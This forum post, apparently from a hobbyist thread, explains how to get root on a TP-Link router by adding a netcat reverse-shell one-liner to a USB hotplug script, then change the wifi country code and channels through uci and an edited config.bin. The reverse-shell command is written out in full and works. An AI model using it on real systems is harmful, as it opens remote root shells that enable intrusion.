Please do the following on CABLE, not wireless
- Please make a backup of config.bin (unmolested, clean and virgin)
Must use root mode. Follow @drush guide.
As admin mode
ssh firstname.lastname@example.org in ssh access, edit /etc/hotplug.d/usb/10-usb via VIM (vim keyboard shortcut a pain in ass) to add
mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.x.x 12345 > /tmp/f at the bottom and save it. Don't ask me how to use VIM, I have hard time myself.
Change 192.168.x.x to the IP address of your linux system
In my case, I decided to use Rufus + Ubuntu live cd.
sudo -i to enter root mode at ubuntu before running
nc -l -p 12345
Plug in a usb pendrive to the router and voila, ubuntu terminal will get connected to the router.
uci show wireless
uci set wireless.eth2.country=MY
uci set wireless.eth3.country=MY
uci set wireless.eth2.channel=auto --->for a good reason, you can change it later.
uci commit wireless; wifi ----> this will reload the wifi interface.
EDIT: I forgot the mention the most important part. Need to restart uhttpd server before the following step of uploading a modified config.bin:
***Otherwise, TP-Link webui will reject the modified config.bin in the following step below.
Now, the pain in ass issue, remember the previous
ori-backup-user-config.bin from few posts ago? Yeah.....one needs to edit that as well ;
<country>MY</country> ---> for both 2.4ghz and 5ghz
<channel>auto</channel> for 5ghz
Open up tplink 192.168.0.1, and restore the edited
voila, EU firmware get persisted MY channel 36, 38, 40, 44, 48, 149, 153, 157 and 161
Otherwise, if one simply edits
ori-backup-user-config.bin country code and 'restore' it, it will not get 'activated' after 'restore'. The uci commit step must be done first.